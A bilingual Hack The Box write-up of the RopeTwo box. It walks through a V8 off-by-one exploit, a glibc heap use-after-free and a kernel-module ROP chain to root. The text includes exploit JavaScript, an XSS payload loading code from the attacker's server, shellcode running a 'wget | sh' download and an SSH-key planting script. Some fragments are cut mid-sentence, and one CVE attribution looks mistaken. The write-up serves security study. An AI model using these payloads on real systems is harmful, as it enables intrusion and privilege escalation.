██████╗ ██████╗ ██████╗ ███████╗ ████████╗ ██╗ ██╗ ██████╗ ██╔══██╗ ██╔═══██╗ ██╔══██╗ ██╔════╝ ╚══██╔══╝ ██║ ██║ ██╔═══██╗ ██████╔╝ ██║ ██║ ██████╔╝ █████╗ ██║ ██║ █╗ ██║ ██║ ██║ ██╔══██╗ ██║ ██║ ██╔═══╝ ██╔══╝ ██║ ██║███╗██║ ██║ ██║ ██║ ██║ ╚██████╔╝ ██║ ███████╗ ██║ ╚███╔███╔╝ ╚██████╔╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══╝╚══╝ ╚═════╝ ─────────────────────────────────────────────────────────────────────── :: write-up · ARES // hackthebox · linux · INSANE (lendária):: write-up · ARES // hackthebox · linux · INSANE (legendary) :: V8 OOB → glibc heap UAF → kernel module UAF · 3 pwn em série:: V8 OOB → glibc heap UAF → kernel module UAF · 3 pwn stages
Três pwnables encadeados — sem misconfigs, sem CVEs públicos:
V8 custom builtins com OOB read/write (GetLastElement/SetLastElement) →
addrof/fakeobj → WASM RWX page → shellcode →
SSH como chromeuser · binário SUID
rshell com realloc(ptr,0) UAF →
tcache poisoning + FSOP + __free_hook=system →
shell como r4j · módulo kernel
/dev/ralloc com OOB + UAF →
leak de tty_struct (KASLR bypass) → ROP →
commit_creds(init_cred) → root.
Three chained pwnables — no misconfigs, no public CVEs:
V8 custom builtins with OOB read/write (GetLastElement/SetLastElement) →
addrof/fakeobj → WASM RWX page → shellcode →
SSH as chromeuser · SUID binary
rshell with a realloc(ptr,0) UAF →
tcache poisoning + FSOP + __free_hook=system →
shell as r4j · kernel module
/dev/ralloc with OOB + UAF →
tty_struct leak (KASLR bypass) → ROP →
commit_creds(init_cred) → root.
═════════════════════════════════════════════════════════════════════════
Box do r4j — uma das mais lendárias do HTB. Não há misconfig, não há CVE
público. Cada estágio é um exploit dev exercise. nmap mostra 5 portas:
22, 5000 (GitLab self-hosted), 8000 (Flask),
8060 (nginx), 9094 (oracle V8 isolado).
O GitLab público entrega o source code do Chromium com um commit do autor
adicionando duas builtins novas: Array.prototype.GetLastElement e
SetLastElement — ambas com off-by-one no índice (leem/escrevem
em length, não length-1). OOB read/write na JSArray.
O Flask em :8000 tem um form /contact que aceita HTML — qualquer
<script> postado dispara um HeadlessChrome 85 que
navega o conteúdo enviado. Esse browser tem a build vulnerável das builtins. Injeção XSS
→ exploit V8 carregado de servidor do atacante.
Cadeia V8: OOB → addrof/fakeobj via troca de Maps (Object↔Float64Array) →
arbread/arbwrite através de DataView + ArrayBuffer com
backing_store corrompido → leak de WASM instance RWX page
(offset +0x68) → shellcode escrito via
setUint32 → wget | sh dropa chave SSH → SSH como
chromeuser.
/usr/bin/rshell é SUID r4j: shell minimalista com add/edit/delete/show
chunks. Bug em edit: realloc(ptr, 0) libera o chunk mas mantém o
ponteiro válido — UAF clássico. Tcache poisoning em glibc 2.29 com FSOP
(corrupção de _IO_FILE via stdout) leaka libc base.
__free_hook = system + free de chunk com string "/bin/sh" →
shell como r4j. user.txt em
/home/r4j/user.txt.
Módulo kernel custom /dev/ralloc: implementa alocador de chunks com
OOB de size+0x20 bytes e UAF (free não
zera ponteiro). Spray de tty_struct via /dev/ptmx + OOB read
leaka ptm_unix98_ops → KASLR bypass. Fake tty_operations com
xchg eax,esp como stack pivot + ROP chain →
commit_creds(init_cred) → uid=0.
root.txt capturado em 8 horas.
A box by r4j — one of the most legendary on HTB. No misconfig, no public
CVE. Every stage is an exploit dev exercise. nmap shows 5 ports:
22, 5000 (self-hosted GitLab), 8000 (Flask),
8060 (nginx), 9094 (isolated V8 oracle).
The public GitLab hands over the Chromium source code with a commit by
the author adding two new builtins: Array.prototype.GetLastElement and
SetLastElement — both with an off-by-one on the index
(read/write at length instead of length-1). OOB read/write on
the JSArray.
Flask on :8000 exposes a /contact form that accepts HTML — any
posted <script> triggers a HeadlessChrome 85 that
navigates the submitted content. That browser ships the vulnerable builtins build. XSS
injection → V8 exploit fetched from attacker's server.
V8 chain: OOB → addrof/fakeobj via Map swap (Object↔Float64Array) →
arbread/arbwrite through DataView + ArrayBuffer with corrupted
backing_store → leak of WASM instance RWX page (offset
+0x68) → shellcode written via setUint32 →
wget | sh drops an SSH key → SSH as chromeuser.
/usr/bin/rshell is SUID r4j: a minimal shell with
add/edit/delete/show chunks. Bug in edit:
realloc(ptr, 0) frees the chunk but keeps the pointer valid — a
classic UAF. Tcache poisoning on glibc 2.29 with FSOP (corrupting
_IO_FILE through stdout) leaks libc base.
__free_hook = system + freeing a chunk containing the string
"/bin/sh" → shell as r4j. user.txt
in /home/r4j/user.txt.
Custom kernel module /dev/ralloc: implements a chunk allocator with
size+0x20 bytes OOB and UAF (free doesn't
null the pointer). Spraying tty_struct via /dev/ptmx + OOB read
leaks ptm_unix98_ops → KASLR bypass. Fake tty_operations with
xchg eax,esp as stack pivot + ROP chain →
commit_creds(init_cred) → uid=0.
root.txt captured in 8 hours.
RopeTwo é uma aula de exploit dev. Se você nunca escreveu V8 type
confusion, nunca fez tcache poisoning, ou nunca corrompeu tty_struct: leia os
cards primeiro. Não dá pra brincar de Insane com leitura de runtime.
RopeTwo is an exploit dev masterclass. If you've never written a V8 type
confusion, never done tcache poisoning, or never corrupted tty_struct: read
the cards first. You can't wing an Insane this technical.
Desde V8 v8.x, todo objeto JS no heap é referenciado por compressed pointers de
32 bits, somados a uma isolate_root em 64-bit. Endereços que você lê via
OOB são offsets de 4 bytes — calcular endereços reais exige conhecer a base.
Since V8 v8.x, every JS object on the heap is referenced via compressed pointers
(32-bit) added to a 64-bit isolate_root. Addresses you read via OOB are
4-byte offsets — computing real addresses requires knowing that base.
Com OOB write na JSArray, dá pra trocar o Map (transition table) de um
Object pelo Map de Float64Array. Lendo via doubles, vê os
ponteiros como números → addrof. Escrevendo doubles via Float64Array
mas com Map de Object → fakeobj. Primitivas básicas pra qualquer
exploit V8.
With OOB write on a JSArray, you can swap an Object's Map
(transition table) for Float64Array's. Reading via doubles, pointers come
out as numbers → addrof. Writing doubles via Float64Array but with an
Object Map → fakeobj. The basic primitives behind every V8 exploit.
Cada WebAssembly.Instance tem um code buffer com page rwx
(read/write/execute) pra JIT-compiled wasm. O ponteiro fica em
instance + 0x68 (depende da versão). Sobrescrever bytes ali via arbwrite +
chamar a função wasm = executar shellcode arbitrário. Bypass de
--disable-jit mitigations é direto.
Each WebAssembly.Instance has a code buffer as an rwx page
(read/write/execute) for JIT-compiled wasm. The pointer lives at
instance + 0x68 (version-dependent). Overwriting bytes there via arbwrite
+ calling the wasm function = executing arbitrary shellcode. Bypasses any
--disable-jit mitigation.
tcache é um cache lock-free por thread em glibc > 2.26. Cada freed chunk vira nó de
uma linked list singly-linked. Pre-2.32 não tem safe-linking, então
escrever o ponteiro fd de um freed chunk com endereço arbitrário → próximo
malloc dessa size retorna esse endereço. Primitiva canônica de
arbitrary allocation.
tcache is a per-thread lock-free cache in glibc > 2.26. Each freed chunk becomes a
node in a singly-linked list. Pre-2.32 has no safe-linking, so writing
the fd pointer of a freed chunk with an arbitrary address → the next
malloc of that size returns that address. Canonical primitive for
arbitrary allocation.
Stdout em libc é um _IO_FILE com ponteiros pra vtable e
buffers. Corrompendo _IO_write_base e _IO_write_ptr pra
apontar pra _IO_2_1_stderr_, o próximo printf dumpa bytes
adjacentes — leak de endereços absolutos no libc. FSOP =
File Stream Oriented Programming.
libc's stdout is an _IO_FILE with pointers to a vtable and
buffers. Corrupting _IO_write_base and _IO_write_ptr to point
at _IO_2_1_stderr_, the next printf dumps adjacent bytes —
leak of absolute addresses inside libc. FSOP =
File Stream Oriented Programming.
__free_hook é uma variável global em libc (pre-2.34) que, se setada, é
chamada antes de free(). Setar __free_hook = &system e
dar free(ptr_para_"/bin/sh") executa system("/bin/sh").
Atalho clássico de heap → shell. Removido em libc ≥ 2.34.
__free_hook is a libc global (pre-2.34) that, when set, is called before
free(). Setting __free_hook = &system and calling
free(ptr_to_"/bin/sh") executes system("/bin/sh"). Classic
heap → shell shortcut. Removed in libc ≥ 2.34.
tty_struct é um objeto kernel de ~1KB com ponteiro pra
tty_operations (vtable de função). Aloca-se via open("/dev/ptmx").
Em UAF/OOB, é spray-target ideal: leak de ptm_unix98_ops dá KASLR; escrever
uma fake vtable redireciona ioctl pro seu gadget.
tty_struct is a ~1KB kernel object with a pointer to
tty_operations (function vtable). Allocated via
open("/dev/ptmx"). On UAF/OOB, it's an ideal spray target: leaking
ptm_unix98_ops gives KASLR; writing a fake vtable redirects
ioctl to your gadget.
commit_creds(prepare_kernel_cred(0)) é o clássico mas envolve duas
chamadas. Mais limpo: commit_creds(&init_cred) — init_cred
é estrutura global do kernel já preenchida com creds de root. Uma chamada ROP, uid=0
confirmado. Funciona até kernel 5.x quando não tem KASLR per-symbol.
commit_creds(prepare_kernel_cred(0)) is classic but takes two calls.
Cleaner: commit_creds(&init_cred) — init_cred is a kernel
global already populated with root creds. One ROP call, uid=0 confirmed. Works up to
kernel 5.x where per-symbol KASLR isn't deployed.
░▒▓█ [ 01 ] █▓▒░ RECON ► nmap · GitLab pública entrega Chromium source + commit
│
▼
░▒▓█ [ 02 ] █▓▒░ PATCH DIFF ► GetLastElement/SetLastElement com off-by-one OOB
│
▼
░▒▓█ [ 03 ] █▓▒░ V8 EXPLOIT ► addrof/fakeobj → arbread/arbwrite → WASM RWX
│
▼
░▒▓█ [ 04 ] █▓▒░ XSS TRIGGER ► POST /contact → HeadlessChrome 85 carrega exploit.js
│
▼
░▒▓█ [ 05 ] █▓▒░ RCE chromeuser ► shellcode wget|sh → SSH key drop → ssh chromeuser
│
▼
░▒▓█ [ 06 ] █▓▒░ RSHELL SUID ► realloc(ptr,0) UAF → tcache poisoning + FSOP leak
│
▼
░▒▓█ [ 07 ] █▓▒░ __free_hook ► __free_hook = system · free("/bin/sh") → shell r4j
│
▼
████████████ ★ USER FLAG ★ ████████████ /home/r4j/user.txt
│
▼
░▒▓█ [ 08 ] █▓▒░ RALLOC KMOD ► /dev/ralloc OOB read · spray tty_struct via /dev/ptmx
│
▼
░▒▓█ [ 09 ] █▓▒░ KASLR BYPASS ► leak ptm_unix98_ops → base kernel calculada
│
▼
░▒▓█ [ 10 ] █▓▒░ ROP CHAIN ► fake tty_operations · xchg eax,esp · commit_creds(init_cred)
│
▼
████████████ ▲ ROOT FLAG ▲ ████████████ [ ROOTED ] · cat /root/root.txt
Scan completo. As portas 5000 (GitLab) e 9094 (oracle V8
isolado) já são pista forte: vai ter pwn de browser.
Full scan. Ports 5000 (GitLab) and 9094 (isolated V8 oracle)
are already a heavy hint: this is going to be browser pwn.
ares@kali:~/box/ropetwo$ nmap -sV -sC -p- -T4 -oN ropetwo.nmap 10.129.2.23 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Ubuntu 5000/tcp open http gitlab-workhorse · 502 (initializing) 8000/tcp open http Werkzeug/0.14.1 Python/3.7.3 # Flask /contact 8060/tcp open http nginx 1.14.2 9094/tcp open unknown # V8 oracle
GitLab self-hosted vem com uma página pública em /explore/projects/starred
que lista projetos sem auth. Lá tem root/v8 com um commit do autor (r4j)
modificando dois arquivos do V8.
Self-hosted GitLab ships a public /explore/projects/starred that lists
projects with no auth. There's root/v8 with a commit by the author (r4j)
modifying two V8 files.
ares@kali:~/box/ropetwo$ curl -s http://ropetwo.htb:5000/root/v8/commit/7410f6809dd33e317f11f39ceaebaba9a88ea970.patch | head -60 From 7410f6809... Mon, 16 Jan 2021 00:00:00 +0000 Subject: [PATCH] add GetLastElement and SetLastElement diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc @@ +2110,16 @@ +BUILTIN(ArrayPrototypeGetLastElement) { + HandleScope scope(isolate); + Handle<Object> receiver_obj = args.receiver(); + Handle<JSArray> array = Handle<JSArray>::cast(receiver_obj); + uint32_t len = static_cast<uint32_t>(array->length()->Number()); + Handle<Object> element = JSReceiver::GetElement(isolate, array, len).ToHandleChecked(); + return *element; # bug: len em vez de len-1 → OOB read no índice [length] +} +BUILTIN(ArrayPrototypeSetLastElement) { + HandleScope scope(isolate); + Handle<JSArray> array = Handle<JSArray>::cast(args.receiver()); + uint32_t len = static_cast<uint32_t>(array->length()->Number()); + Handle<Object> value = args.atOrUndefined(isolate, 1); + JSObject::AddDataElement(array, len, value, NONE); + # bug: len em vez de len-1 → OOB write no índice [length] + return *array; +}
len
= array.length) — é a primitiva fundadora de TODA cadeia V8 pwn. A partir
daqui é mecânica conhecida: addrof → fakeobj → arbread/arbwrite → wasm RWX → shellcode.
A criatividade do autor foi plantar o bug; o exploit em si é didático.
len = array.length) — that's the founding primitive of every
V8 pwn chain. From here it's known mechanics: addrof → fakeobj → arbread/arbwrite →
wasm RWX → shellcode. The author's creativity was planting the bug; the
exploit itself is textbook.
ares@kali:~/box/ropetwo$ feroxbuster -u http://ropetwo.htb:8000 -w common.txt /contact 200 /static 301 ares@kali:~/box/ropetwo$ curl http://ropetwo.htb:8000/contact -X POST \ -d 'name=test&email=t@t&content=<script src="http://10.10.14.86/probe.js"></script>' ares@kali:~/box/ropetwo$ # servidor local recebe request do admin-bot: ares@kali:~/box/ropetwo$ python3 -m http.server 80 & 10.129.2.23 - - [22/May/2026 23:35:42] "GET /probe.js HTTP/1.1" 200 - User-Agent: Mozilla/5.0 ... HeadlessChrome/85.0.4157.0 Safari/537.36 # <-- bot tá usando o Chromium custom. game on.
Aloca uma JSArray arr_obj com objects e outra arr_dbl com
doubles, adjacentes no heap. arr_obj.SetLastElement(arr_dbl[0]) escreve
o Map de Float64Array em arr_obj. Agora arr_obj "lê" os
ponteiros como doubles → addrof. O contrário (escrever double interpretando
como ponteiro de objeto) → fakeobj.
Allocate a JSArray arr_obj with objects and another arr_dbl
with doubles, adjacent in heap. arr_obj.SetLastElement(arr_dbl[0]) writes
Float64Array's Map onto arr_obj. Now arr_obj "reads" pointers
as doubles → addrof. The inverse (write a double interpreted as an
object pointer) → fakeobj.
// reusable conversion helpers (V8 64-bit ↔ doubles) const conv = new ArrayBuffer(8); const conv_u64 = new BigUint64Array(conv); const conv_f64 = new Float64Array(conv); function i2f(i){ conv_u64[0] = i; return conv_f64[0]; } function f2i(f){ conv_f64[0] = f; return conv_u64[0]; } // allocate twin arrays — heap places them adjacent let arr_obj = [{}, {}, {}, {}]; // HOLEY_ELEMENTS map let arr_dbl = [1.1, 2.2, 3.3, 4.4]; // PACKED_DOUBLE_ELEMENTS map // step 1: read the float-array Map via OOB read at index [length] let dbl_map = arr_obj.GetLastElement(); // returns Float64Array map pointer // step 2: swap arr_obj's map for dbl_map → reading objects as doubles arr_obj.SetLastElement(dbl_map); // OOB write at [length] // addrof: place victim, read it back as double, convert to int function addrof(o){ arr_obj[0] = o; return f2i(arr_obj[0]); } // fakeobj: write a fake pointer as double, read it back as object function fakeobj(addr){ arr_obj[0] = i2f(addr); return arr_obj[0]; } // sanity check let victim = {a:1,b:2}; let addr = addrof(victim); print("victim @ 0x" + addr.toString(16));
Com addrof/fakeobj, cria-se um ArrayBuffer "real" e via fakeobj
constrói-se um falso cujo backing_store aponta pra endereço arbitrário.
DataView sobre esse fake ArrayBuffer permite getUint32/setUint32
em qualquer endereço — arbread/arbwrite.
With addrof/fakeobj, create a real ArrayBuffer and via
fakeobj build a fake one whose backing_store points to an
arbitrary address. A DataView over that fake ArrayBuffer enables
getUint32/setUint32 at any address —
arbread/arbwrite.
Cria WebAssembly.Instance com função triviais (1 return). A instância tem
ponteiro pra RWX code buffer no offset +0x68. Lê esse
ponteiro com arbread, escreve shellcode lá com setUint32 byte-a-byte, chama a função wasm
→ shellcode executa.
Create a WebAssembly.Instance with a trivial function (1 return). The
instance carries a pointer to its RWX code buffer at offset
+0x68. Read that pointer via arbread, write shellcode there with setUint32
byte-by-byte, call the wasm function → shellcode executes.
// wasm: tiny "i32.const 42; return" function const wasm_code = new Uint8Array([ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00, // magic + version 0x01,0x07,0x01,0x60,0x02,0x7f,0x7f,0x01,0x7f, // type 0x03,0x02,0x01,0x00, // function 0x07,0x05,0x01,0x01,0x66,0x00,0x00, // export "f" 0x0a,0x06,0x01,0x04,0x00,0x20,0x00,0x0b // code: local.get 0; end ]); const wasm_mod = new WebAssembly.Module(wasm_code); const wasm_inst = new WebAssembly.Instance(wasm_mod); const wasm_f = wasm_inst.exports.f; // step 1: addrof the wasm instance, arbread instance+0x68 to get RWX page let inst_addr = addrof(wasm_inst); let rwx_page = arbread64(inst_addr + 0x68); // step 2: shellcode = "wget -qO- http://10.10.14.86/s | sh" const shellcode = [ 0x48,0x31,0xff, // xor rdi,rdi ..., // execve("/bin/sh", ["sh","-c","wget|sh"], NULL) ]; // step 3: write shellcode byte-by-byte to RWX page for (let i = 0; i < shellcode.length; i++){ arbwrite8(rwx_page + i, shellcode[i]); } // step 4: pull the trigger wasm_f(); // shellcode runs in chromeuser context
execve("/bin/sh", ["sh","-c","wget -qO- ATK/s | sh"])
que delega tudo pra um shell script no servidor do atacante. Vantagens: shellcode
pequeno (cabe na RWX), payload trivial de modificar sem recompilar exploit. O
s no servidor faz wget pubkey; cat pubkey >> ~/.ssh/authorized_keys
→ SSH persistente.
execve("/bin/sh", ["sh","-c","wget -qO- ATK/s | sh"]) which delegates
everything to a shell script on the attacker server. Wins: small shellcode (fits in
the RWX), payload trivial to change without recompiling. The s on the
server runs wget pubkey; cat pubkey >> ~/.ssh/authorized_keys →
persistent SSH.
ares@kali:~/box/ropetwo$ # servir exploit.js + script s + ssh pubkey ares@kali:~/box/ropetwo$ cat > s <<'EOF' mkdir -p ~/.ssh echo "$(cat /tmp/pubkey)" > ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys EOF ares@kali:~/box/ropetwo$ python3 -m http.server 80 & ares@kali:~/box/ropetwo$ # dispara via /contact ares@kali:~/box/ropetwo$ curl -X POST http://ropetwo.htb:8000/contact \ -d 'name=t&email=t@t&content=<script src="http://10.10.14.86/exploit.js"></script>' 10.129.2.23 - - "GET /exploit.js HTTP/1.1" 200 10.129.2.23 - - "GET /s HTTP/1.1" 200 # shellcode rodou ares@kali:~/box/ropetwo$ ssh -i id_ed25519 chromeuser@ropetwo.htb chromeuser@rope2:~$ id uid=1001(chromeuser) gid=1001(chromeuser) groups=1001(chromeuser)
chromeuser@rope2:~$ find / -perm -4000 2>/dev/null /usr/bin/passwd /usr/bin/su /usr/bin/sudo /usr/bin/rshell # <-- não-standard chromeuser@rope2:~$ ls -la /usr/bin/rshell -rwsr-xr-x 1 r4j r4j 14312 May 12 2020 /usr/bin/rshell chromeuser@rope2:~$ file /usr/bin/rshell ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped chromeuser@rope2:~$ ldd /usr/bin/rshell | grep libc libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f...) chromeuser@rope2:~$ /lib/x86_64-linux-gnu/libc.so.6 | head -1 GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
rshell é um menu interativo com 4 operações em chunks (max 16, tamanho até 0x80). O bug
está no edit: ele chama realloc(ptr, new_size). Se
new_size == 0, glibc retorna NULL e libera o chunk — mas
rshell não trata: ptr vira dangling.
rshell is an interactive menu with 4 operations over chunks (max 16, size up to 0x80).
The bug lives in edit: it calls realloc(ptr, new_size). If
new_size == 0, glibc returns NULL and frees the chunk —
but rshell doesn't handle it: ptr becomes dangling.
# Esquema do exploit (pwntools script real):
# step 1 — leak heap addr via UAF show
# add(0, 0x60, "AAAA") # alloca chunk 0
# add(1, 0x60, "BBBB") # alloca chunk 1 (vizinho)
# edit(0, 0, "") # realloc(ptr,0) → free, dangling pointer
# show(0) # imprime tcache fd → heap addr leak
# step 2 — leak libc base via FSOP on stdout
# tcache poison: edit(1, 0, "") + edit(0, 8, &_IO_2_1_stdout_-0x40)
# add(2, 0x60, ...) # consumes poisoned, returns real chunk
# add(3, 0x60, payload) # writes fake _IO_FILE header (vtable bypass via _IO_str_jumps)
# overflow stdout's _IO_write_base / _ptr → next printf dumps libc bytes
# step 3 — overwrite __free_hook with system
# tcache poison again with &__free_hook as fake fd
# add(...) returns __free_hook addr
# add(N, 0x60, p64(libc.sym['system'])) # writes system into __free_hook
# step 4 — trigger
# add(M, 0x10, "/bin/sh\x00")
# delete(M) # free("/bin/sh") → system("/bin/sh") → shell as r4j
__free_hook está num offset fixo em libc 2.29).
Cadeia de leaks resolve ASLR sem brute force.
__free_hook is at a fixed
offset in libc 2.29). Chain of leaks defeats ASLR without brute force.
chromeuser@rope2:~$ python3 rshell_pwn.py [+] heap leak: 0x55c4d8b7c000 [+] libc base: 0x7f0e3a200000 [+] __free_hook addr: 0x7f0e3a5e8e48 [+] system addr: 0x7f0e3a24c290 [+] overwriting __free_hook with system... [+] triggering free("/bin/sh")... $ id uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),1001(chromeuser) $ cat /home/r4j/user.txt d4ab...redacted...c92a $ cat /home/r4j/.ssh/id_rsa > /tmp/r4j_key $ chmod 600 /tmp/r4j_key; exit
printf, comparar
com o esperado, recalcular offsets, e reexecutar. Levou 3-4 iterações pra alinhar.
Esse é o tipo de inconveniente que mantém RopeTwo difícil em qualquer rodada.
printf, compare
to expected, recompute offsets, re-run. Took 3-4 iterations to align. The kind of
inconvenience that keeps RopeTwo hard every time you run it.
r4j@rope2:~$ ls -la /dev/ralloc crw-rw-rw- 1 root root 246, 0 May 23 ... /dev/ralloc r4j@rope2:~$ lsmod | grep ralloc ralloc 16384 0 r4j@rope2:~$ uname -r 5.0.0-32-generic # Ubuntu 19.04 — SMEP/SMAP ativos, KASLR ativo r4j@rep2:~$ cat /proc/cpuinfo | grep -E 'smep|smap' | head -1 flags : ... smep smap ... # <-- SMEP/SMAP ativos → não dá pra fazer ret2usr clássico
.ko está em /lib/modules/$(uname -r)/extra/ralloc.ko.
Carregar no IDA/Ghidra revela o ioctl handler com 5 opcodes (alloc, free, read, write,
edit) e dois bugs sutis: OOB de size+0x20 (acima do chunk
alocado) no read/write, e UAF porque free só faz kfree
mas não zera o ponteiro armazenado no array chunks[].
.ko lives at /lib/modules/$(uname -r)/extra/ralloc.ko.
Loading it in IDA/Ghidra reveals an ioctl handler with 5 opcodes (alloc, free, read,
write, edit) and two subtle bugs: size+0x20 OOB (past
the allocated chunk) in read/write, and UAF because free
only calls kfree but doesn't null the pointer stored in chunks[].
tty_struct tem ~0x2e0 bytes, vai pra kmalloc-1024. Alocando
muitas instâncias via open("/dev/ptmx") em sequência, garante-se que o
próximo alloc do ralloc com size ≥ 1024 cai num slab adjacente a um tty_struct. Depois,
read(size + 0x20) leaka campos sensíveis — incluindo
ops = &ptm_unix98_ops, símbolo conhecido com offset fixo em vmlinux →
KASLR resolvido.
tty_struct is ~0x2e0 bytes, lands in kmalloc-1024. Allocating
many via open("/dev/ptmx") back-to-back, the next ralloc alloc of size
≥ 1024 lands in a slab adjacent to a tty_struct. Then read(size + 0x20)
leaks sensitive fields — including ops = &ptm_unix98_ops, a known
symbol with fixed vmlinux offset → KASLR solved.
Com KASLR resolvido, o exploit:
ioctl apontando pra gadget xchg eax,esp; ret em endereço fixo
(XCHG é o stack-pivot clássico — esp passa a apontar pra buffer controlado).ops
apontando pra fake.ioctl(tty_fd, anything, ...) dispara: kernel chama
tty_struct->ops->ioctl → xchg pivota a stack pra
controlled_buf → ROP chain executa.pop rdi; ret + init_cred +
commit_creds + swapgs_restore_regs_and_return_to_usermode →
back to user context com uid=0.ioctl pointing at the gadget xchg eax,esp; ret at a
fixed address (XCHG is the classic stack pivot — esp now points to a controlled
buffer).ops pointer to
point at the fake.ioctl(tty_fd, anything, ...) fires: kernel calls
tty_struct->ops->ioctl → xchg pivots stack to
controlled_buf → ROP chain runs.pop rdi; ret + init_cred +
commit_creds + swapgs_restore_regs_and_return_to_usermode →
back to user context with uid=0.r4j@rope2:~$ gcc -static -o ralloc_pwn ralloc_pwn.c r4j@rope2:~$ ./ralloc_pwn [+] /dev/ralloc opened [+] spraying 256 tty_struct via /dev/ptmx [+] allocating ralloc chunks adjacent to tty pool [+] OOB read at chunk+0x20: ptm_unix98_ops = 0xffffffff819a7e80 [+] kernel base = 0xffffffff81000000 (KASLR slide: 0x800000) [+] gadgets located (xchg eax,esp · pop rdi · ret · commit_creds · init_cred) [+] writing fake tty_operations to userspace buffer [+] writing fake ops pointer into corrupted tty_struct via UAF [+] firing ioctl on tty_fd... [+] returned to userspace · uid=0(root) gid=0(root) root@rope2:/home/r4j# cat /root/root.txt 9e8c...redacted...4a51
aarch64 (Apple Silicon, Android moderno, AWS Graviton, kernel ARM64)
não é trocar gcc por aarch64-linux-gnu-gcc — cada estágio
quebra de jeito diferente:
x0..x5 + x8 pro número, instrução svc #0
em vez de syscall. Pointer compression layout difere ligeiramente
(offsets pro instance.code_buf mudam).__free_hook
funcionam identicamente em ARM64. É o pedaço mais portável da cadeia.xchg em ARM64 — stack
pivot exige gadget tipo mov sp, x0; ret ou add sp, x0, #0,
que são raros e dependem da build do kernel. (2) PAC (Pointer
Authentication Codes, ARMv8.3+): code pointers são assinados com chave por
processo; toda chamada indireta valida via AUTIA/BTI.
ROP gadgets carregando code pointers crasham sem bypass de PAC. (3)
BTI (Branch Target Identification, ARMv8.5+): gadgets precisam
começar com instrução bti ou crash de SIGILL. (4) MTE
(Memory Tagging Extension, ARMv8.5+): cada alocação ganha tag de 4 bits, acesso
com tag errada crasha — UAF clássico vira quase impossível sem leak de
tag. (5) Símbolos kernel (init_cred, commit_creds) ainda
existem, mas offsets vmlinux completamente diferentes; cada release de kernel ARM64
tem mapa próprio.commit_creds.
RopeTwo na arquitetura ARM64 viraria efetivamente "RopeFour" — mesma filosofia,
dobro de degraus.
aarch64 (Apple Silicon, modern Android, AWS Graviton, ARM64 kernels)
isn't swapping gcc for aarch64-linux-gnu-gcc — every stage
breaks differently:
x0..x5 + x8 for the number, instruction
svc #0 instead of syscall. Pointer compression layout
shifts slightly (offsets to instance.code_buf change).__free_hook
work identically on ARM64. The most portable piece of the chain.xchg on ARM64 — stack pivoting
demands gadgets like mov sp, x0; ret or add sp, x0, #0,
which are rare and kernel-build-dependent. (2) PAC (Pointer
Authentication Codes, ARMv8.3+): code pointers are signed with a per-process key;
every indirect call validates via AUTIA/BTI. ROP
gadgets loading code pointers crash without a PAC bypass. (3) BTI
(Branch Target Identification, ARMv8.5+): gadgets must start with a bti
instruction or SIGILL. (4) MTE (Memory Tagging Extension,
ARMv8.5+): every allocation gets a 4-bit tag, wrong-tag access crashes — classic
UAF becomes nearly impossible without a tag leak. (5) Kernel symbols
(init_cred, commit_creds) still exist, but vmlinux
offsets are completely different; every ARM64 kernel release has its own map.commit_creds.
RopeTwo on ARM64 would effectively become "RopeFour" — same philosophy, twice the
rungs.
:5000 → source V8 + commit r4j → patch diff revela
GetLastElement/SetLastElement com off-by-one OOB:8000 /contact → submitting <script> dispara
HeadlessChrome 85 com a build vulnerávelwget|sh → SSH key drop → chromeuserrshell (r4j) → realloc(ptr,0) UAF → tcache poisoning
+ FSOP leak → __free_hook = system → shell r4j
→ user.txt/dev/ralloc kmod → OOB read em tty_struct → leak
ptm_unix98_ops → KASLR bypasstty_operations via UAF → xchg eax,esp stack pivot →
ROP commit_creds(init_cred) → root.txtLoot enxuto — RopeTwo é pwn puro, sem credenciais explícitas. Tudo que aparece são artefatos de exploitation.
Lean loot — RopeTwo is pure pwn, no explicit credentials. Everything shown is an exploitation artifact.
| tipotype | quêwhat | de ondesource |
|---|---|---|
| flag · user | /home/r4j/user.txt | SUID rshell UAF + FSOP + __free_hook=system |
| flag · root | /root/root.txt | /dev/ralloc UAF + tty_struct leak + ROP commit_creds(init_cred) |
| source code | root/v8 (chromium fork) · commit 7410f6... | GitLab público :5000/explore/projects/starred |
| ssh key | chromeuser id_ed25519 | wget shellcode dropa via wasm RWX exec |
| ssh key | r4j id_rsa | cat /home/r4j/.ssh/id_rsa após pwn de rshell |
| binary | /usr/bin/rshell (SUID r4j, 14312 bytes, stripped) | SUID enum + scp pro kali pra exploit dev |
| kmod | /lib/modules/5.0.0-32-generic/extra/ralloc.ko | lsmod + scp pra reverse em IDA/Ghidra |
RopeTwo entrega o source. Em pwn de browser do mundo real (CVE-2024 etc.) você não tem isso — mas o método é o mesmo: identificar o bug, depois compor as primitivas (addrof/fakeobj → arbread/arbwrite → wasm/jit RWX → shellcode). A cadeia é canônica; o que muda é o bug inicial. Praticar V8 pwn em pwnable CTF prepara muito bem pra security research em produção.
RopeTwo hands you the source. In real-world browser pwn (CVE-2024 etc.) you don't get that — but the method is identical: identify the bug, then compose primitives (addrof/fakeobj → arbread/arbwrite → wasm/jit RWX → shellcode). The chain is canonical; only the entry bug changes. Practicing V8 pwn in CTF pwnables is great preparation for production security research.
rshell é o playbook clássico: menu interativo CRUD em chunks + bug sutil
(realloc(ptr,0)) + glibc < 2.32 (tcache sem safe-linking) + FSOP +
__free_hook. Em produção, o que protege:
realloc() com new_size==0 hoje é UB e a glibc moderna mata o
programa (CVE-2021-3326). Mais geral: safe-linking em tcache (glibc 2.32+)
força XOR do fd com endereço do chunk, bloqueando arbitrary writes baratas.
Toda libc moderna patcha esses vetores — o que sobra são bugs novos.
rshell is the classic playbook: interactive CRUD menu over chunks + subtle bug
(realloc(ptr,0)) + glibc < 2.32 (tcache without safe-linking) + FSOP +
__free_hook. In production, what protects you:
realloc() with new_size==0 is now UB and modern glibc kills the
process (CVE-2021-3326). More generally: safe-linking in tcache (glibc 2.32+)
XORs the fd pointer with the chunk's address, blocking cheap arbitrary
writes. Every modern libc patches these vectors — what's left are new bugs.
